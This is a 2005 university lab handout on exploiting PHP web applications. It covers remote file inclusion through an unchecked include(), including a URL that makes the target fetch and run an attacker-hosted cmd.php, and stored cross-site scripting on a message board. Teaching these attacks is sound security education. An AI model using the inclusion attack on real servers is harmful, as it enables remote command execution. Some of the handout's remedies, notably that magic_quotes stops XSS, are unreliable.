ECE4112
Final Lab: Web Application Scripts’ Vulnerabilities and Cross Site Scripting
Group Number: _______________ Member Names: ___________________________ _____________________________
Date Assigned: November 29, 2005
Date Due: December 8, 2005
Last Edited: December 7, 2005
Lab Authored by: Kristin Stephens, Kevin Gorman; Group 31
Goal: This lab will introduce you to some network security issues with Web Applications using the Apache2 web server, and PHP5. This lab is intended to give the student an overview of installing and configuring a basic web server along with knowledge of how to exploit some common vulnerabilities in the widely used web application scripting language PHP. To make the process of discovering and exploiting vulnerabilities in web applications a clearly defined process we will be implementing a methodology used by SPI Dynamics. The process consists of three main steps two of which will be used in this lab. The three steps are discovering a website that uses PHP or other vulnerable scripting language, exploring the script for possible vulnerabilities, and exploiting those vulnerabilities that you find. In this lab we will limit ourselves to exploring and exploiting.
Summary: This lab consists of three sections. In Section 1, you will be downloading and installing the Apache2 web server and PHP5. In section 2, you will learn how to discover and exploit some web application script vulnerabilities using PHP5 and the Apache server. In section 3 we will cover aspects of cross site scripting and how to exploit this vulnerability on webpages that allow the user to modify the content of the page. Examples of these kinds of pages include chat rooms, web forums, webmail, and blogs.
Equipment Required: Your Red Hat 4.0 WS physical machine with the IP address 57.35.6.a, a Red Hat 4.0 WS Virtual Machine with the IP address 57.35.6.b, Apache2 v.2.0.55, and PHP v.5.
Background and Theory: PHP, java, and html will be the programming languages used in this lab to attack the vulnerabilities found in this lab. First, what is PHP? PHP is an open-source, reflective programming language used mainly for developing server-side applications and dynamic web content, and more recently, other software.1 It is an interpreted programming language, which means that programs written using it are ready for use immediately without compiling them first. PHP is capable of doing anything that other web applications do. It can receive any html form sent and set and receive cookies. It can also allow interaction with many relational operating databases such SQL or Oracle. This language runs on most major operating systems, including UNIX, Linux, Windows, and Mac OS X, and can interact with many major web servers such as Apache, which will be used in this lab. When using the web application http, there are many vulnerabilities that can be found with a simple source code injection. For many years hackers have been using source code injection to exploit internet sites’ vulnerabilities. So, how does this injecting code work? For this lab we will be injecting PHP and java script into our apache2 server running the http web application. PHP source code injection is the most common vulnerability in PHP scripts. PHP source code injection is used globally. Global PHP source code injection is a vulnerability that allows an attacker to execute any file, local or remote, available for reading to the server.2 The other vulnerability we will identify within this lab is cross site scripting (XSS). An XSS vulnerability is caused by the failure of a site to validate user input before returning it to the client’s web-browser. The essence of cross site scripting is that an intruder causes a legitimate web server to send a page to a victim's browser that contains malicious script or HTML of the intruder's choosing. The malicious script runs with the privileges of a legitimate script originating from the legitimate web server.3 Sites that allow users to modify the page are vulnerable to this type of attack. When the input by the user is added to the page it is added exactly as the user entered it without any type of filtration. This can include HTML tags and JavaScript applications. Malicious users can use XSS to access a sites’ cookies, redirect a client’s browser, or execute hostile JavaScript on client machines. There are several ways to protect yourself against cross site scripting. The best protection is to disable JavaScript when it isn’t required. However, even this does not prevent the injection of malicious HTML designed to alter the content of a page. You could also protect yourself by accessing security sensitive pages directly instead of following links from unknown sources, or untrusted sites. Another solution is to use signed scripting so that any script with an invalid or untrusted signature would not be run automatically. The best defense, however, is securely written code that properly filters users input.
PreLab Questions: None.
SECTION 1
1.1 Installing RedHat4.0 Virtual Machine
You will first need to install a RedHat4.0 virtual machine that will be used as the attacker machine.
Copies of the virtual machines, created by the TAs, are available on the NAS server. You will be creating virtual machines out of them. Follow the steps below to do this.
Copy the “/mnt/nas/VMWare/RedHatWS4” directory to your “/root/vmware” directory by using the command
# cp -r /mnt/nas/VMWare/RedHatWS4 /root/vmware
This will take a long time to copy since the images are 4-6GB.
Type ‘vmware &’ in a terminal window to start VMWare. The '&' sign allows a process to run in the background, leaving the terminal open for use.
Follow the steps below to create a RedHatWS4 virtual machine
Select File->New->New Virtual machine to create a new virtual machine
Choose Custom machine and click Next
Select legacy since these images were created with an older version of VMware and click Next
Select Linux for operating system and click Next
Change the name of the machine to RedHatWS4 and set the directory to /root/vmware/RedHatWS4
You will be warned now that you already have a machine at that location, answer yes (this is what we just copied to there)
Leave the virtual memory setting as it is. If it gives you problems, you can increase or decrease the amount of memory for each machine, later. Then click Next.
Select Bridged networking and click next.
On the I/O adapter screen just click next
Choose “Use an existing virtual disk” and click Next.
Click Browse, go into the /root/vmware/RedHatWS4 directory and choose the file called “Red Hat Linux WS4.vmdk”
Click Finish. This will create a RedHatWS4 virtual machine
Now in a terminal window type
Ifconfig add eth0 57.35.6.b 255.255.255.0
Where b is an address from your pool of IPs.
1.2 Installing Apache2 Web Server and PHP on your RedHat 4.0 Physical & Virtual Machine
In order to have access to web applications you must download the Apache2 web server to your RedHatWS 4.0 physical and virtual machines. You will also download PHP as a tool to use in attacking some of the web application scripts’ vulnerabilities.
First you will need to download a copy of the Apache2 web server and PHP. The files can be found on NAS.
They can be downloaded as freeware from:
http://www.php.net/downloads.php
http://httpd.apahe.org/download.cgi
Now you may begin installing both Apache2 and PHP on the RHWS4 physical machine.
tar zxvf httpd-2.0.55.tar.gz
tar zxvf php-5.1.1.tar.gz
cd httpd-2.0.55
./configure --enable-so
make
make install
Now you should have Apache2 available under /usr/local/apache2.
You can test the application by typing:
/usr/local/apache2/bin/apachect1 start
Now type ps –ef and note that httpd is a running process.
→You will need to use this command to start apache every time you start your machine.
To stop the server, just simply enter:
/usr/local/apache2/bin/apachect1 stop
Type ps –ef again to see that apache has in fact stopped.
Now we need to configure your PHP and customize it with various options.
cd ../php-5.1.1
./configure --with-apxs2=/usr/local/apache2/bin/apxs
make
make install
Now copy the php.ini file to usr/local/lib/ with the following command.
cp php.ini-dist /usr/local/lib/php.ini
You will also need to modify the php.ini file in order to have register globals active. When PHP was upgraded to version 5, they turned register globals off and magic quotes on for security purposes, but since the point of this lab is web vulnerabilities we want it on. Also many webmasters either use older versions of PHP or have turned globals on and quotes off to make it easier to interface with other applications such as databases
gedit /usr/local/lib/php.ini
Use the find option under search in gedit to find register_globals.
Modify the variable to resemble: register_globals = On
Use the find option under search in gedit to find magic_quotes_gpc
Modify the variable to resemble: magic_quotes_gpc = Off
Save the php.ini file and exit
Now we must edit the httpd.conf file to load the PHP module.
gedit usr/local/apache2/conf/httpd.conf
Use the gedit find function to search for the following strings within the httpd.conf file.
This line should already be there, but just to be sure.
LoadModule php5_module modules/libphp5.so
You will need to add this line where you find the other AddType statements.
AddType application/x-httpd-php .php .phtml
You can simply search for LoadModules or AddType to find these strings.
Note:
*If these strings are not found within the httpd.conf file then add them and save the file again.
Once these two strings are added start your apache server.
/usr/local/apache2/bin/apachect1 start
Repeat the process of downloading and installing Apache and PHP for the RedHat4.0 virtual machine.
SECTION 2
In this section we will exploit some vulnerabilities with web applications. Keep in mind this is only a few; there are many! We will make use of a vulnerable PHP program to execute commands from code written on the virtual machine on the physical machine.
You will first need to download the necessary files from NAS onto you RHWS4 physical machine as follows.
cd /mnt/nas/finallab
cp final.tar.gz /usr/local/apache2/htdocs
this is where the root directory of the web server is located in the default installation of Apache
cd /usr/local/apache2/htdocs
tar zxvf final.tar.gz
You will now need to download the PHP source code we will be injecting onto your RHWS4 virtual machine
cd /mnt/nas/finallab
cp cmd.php /usr/local/apache2/htdocs
Now we can start attacking the vulnerable code.
PHP source code injection
Now you will attack the most common vulnerability in PHP scripts using PHP source code injection. PHP source code injection makes use of insufficient check of variables and functions like include() and require(). In this section you will use a small php script on the RedHat 4.0 virtual machine to pass into the $page variable in 4.php located on the host machine. From there you will be able to retrieve the configuration of the host machine and run many other commands to identify items on the host machine.
First view the source code of 4.php2.
usr/local/apache2/htdocs/2/4.php
Note: The include() performs no check on or filtration of the global variable $page.
Open 4.php in a web browser.
Click on view, page source.
Note the usage of the $page global variable in the various links.
What is the global variable $page being used for?
Click on all of the links and note how all of the URL’s change.
Now we will test this PHP page to see how it reacts when the value of page is changed to something different than expected. We wick do this by entering in some random value into the $page in the browser bar on your RHWS4 virtual machine.
Example:
http://57.35.6.a/2/4.php?page=xxx
You should get two warnings:
Warning: include(xxx) [function.include]:failed to open stream: No such file or directory in usr/local/apache2/htdocs/2/4.php on line 7
Warning: include() [function.include]: Failed opening ‘xxx’ for inclusion (include_path=’.:/usr/local/lib/php’) in usr/local/apache2/htdocs/2/4.php on line 7
From these two warning now we know that 4.php uses the include function and does not modify the $page variable in any way.
Now that we have found the vulnerability we can exploit it. The include function of php executes any file as a php file and it can take full http and the ftp addresses of a file.
So using our RedHat 4.0 WS virtual machine we will make use of a small php program to send a command of our choosing to the system on the victim machine.
Open cmd.php found on NAS and try to understand what the code is doing.
Now we will pass the address of this program as the argument to the $page variable in the 4.php program.
Enter the following into your browser address bar on the RHWS4 virtual machine.
http://57.35.6.a/2/4.php?page=http://57.35.6.b/cmd.php?&cmd=ifconfig
Take a screen capture of what this page now displays.
What is the cmd.php code doing?
What is the IP address as the output of this command?
Does this command display all network configuration information for the RHWS4 physical machine?
Now try altering the attack to execute other commands.
What is one other command you could get to work from the RedHat4.0 virtual machine to gain info from the RedHat 4.0 host machine?
Notice that with the simple script this vulnerability can be exploited to run several commands on the host machine.
Fixing the PHP vulnerability
In the first section of this lab we turned global variables On to allow us to make use of the global variable vulnerablitlity. In older versions of PHP, which are still in use by many websites, global variable are turned off by default. However, in newer versions of PHP like the one used in this lab it is turned off by default. We will turn global variables back Off to make the site invulnerable to this type of attack.
gedit /usr/local/lib/php.ini
Use the find option under search in gedit to find register_globals.
Modify the variable to resemble: register_globals = Off
Save php.ini and close.
Now stop apache with the command / usr/local/apache2/bin/apachect1 stop
Restart apache to load the modified php.ini file / usr/local/apache2/bin/apachect1 start
Now we will attempt the attack again to show the importance of disabling global variables.
Now enter random data after page in the browser bar.
Example:
http://57.35.6.a/2/4.php?page=xxx
Remember previously that we got two warnings for passing invalid input through the global variable $page. Now that our global variables are not being passed to the include() function, we do not get any warnings. The lack of warnings means that $page never got the random value we tried to send it. Therefore, we can not exploit the global variable vulnerability by sending it our script.
SECTION 3
Cross Site Scripting
In this section we will use the techniques of Cross Site Scripting to make a website behave differently that the site owner suspects.
The file msg.php2 simulates standard message board or guest book. The user is allowed to enter his name in the name field and a message to be displayed on the page. This message is written to a text file called msg.txt. It would be simple for an administrator to setup and use, but it has some significant vulnerabilities that allow a malicious user to take over the message board and use it for his own purposes.
Previously, in section one you were instructed to turn off magic_quotes_gpc. This variable allows the site administrator ot toggle on and off the use of magic quotes. Magic quotes In cross site scripting, you will need to enter java script in order to get the website to function as the attacker wants. If magic_quotes_gpc is turned on the java script will be parsed and not work correctly.
Now let’s do some cross site scripting!
Open a web browser.
In address bar type in http://57.35.6.a/msg.php
Try entering in a message to see how the board works
Enter any arbitrary name in the name field.
Put any message you want in the message box and click add
Now we now how the board is designed to work, lets try to see if we can do anything other than use just a plain message. We will first see if we are allowed to use HTML tags.
Now we will try to enter a message containing HTML tags in the message field to test if a vulnerability might exist. First put any name in the name field. Then enter the following into the message field.
test test,
test,
TEST,
Is the message displayed as plain text or has it been formatted like html?
This shows that the input is not filtered and we should be able to use java script.
Now let’s add another message using java script.
Enter an arbitrary name in name field.
Now enter the java script into the message field:
Test JavaScript
Is the Java alert box displayed? Take a screenshot.
Click OK on the java alert box.
Now we will use java script to redirect user of the message board to another nonaffiliated website.
Enter arbitrary name in name field.
Enter the following java script in the message field:
Click Add.
Click OK on the java alert box.
Are you still viewing the message board? If not what is the IP address of the webpage displayed? Take a screenshot.
How could you protect yourself from cross site scripting?
Fixing the Cross Site Scripting vulnerability
In the first section of this lab we turned magic_quotes Off to allow us to make use of the cross site scripting vulnerability. In newer versions of PHP, which are mostly in use by many present day websites, magic_quotes are turned on by default. Magic_qoutes needs to be turned on to prevent the use of JavaScript and other attacks that rely on certain characters. Now let’s fix the vulnerability.
gedit /usr/local/lib/php.ini
Use the find option under search in gedit to find magic_quotes_gpc
Modify the variable to resemble: magic_quotes_gpc = On
Save the php.ini file and exit
Now stop apache with the command / usr/local/apache2/bin/apachect1 stop
Restart apache to load the modified php.ini file / usr/local/apache2/bin/apachect1 start
Now let’s try the attack again.
Open a web browser.
In address bar type in http://57.35.6.a/msg.php
In the name field enter 3 apostrophes (‘’’).
Now enter 4 apostrophes in the message field. (‘’’’)
Click add.
Is the text you entered displayed the same way you typed it?
Now enter “Bad Guy” with the quotations into the name field.
Enter the following java script into the message field:
Test JavaScript
3.2.2 Compare the screenshot of the attack with the magic_quotes turned off to the output on the screen now. What is the major difference between the two? What causes this difference? Take a screenshot.
General Questions
How long did it take you to complete this lab? Was it an appropriate length lab?
What corrections and or improvements do you suggest for this lab? Please be very specific and if you add new material give the exact wording and instructions you would give to future students in the new lab handout. You may cross out and edit the text of the lab on previous pages to make corrections/suggestions. Note that part of your lab grade is what improvements you make to this lab.
|
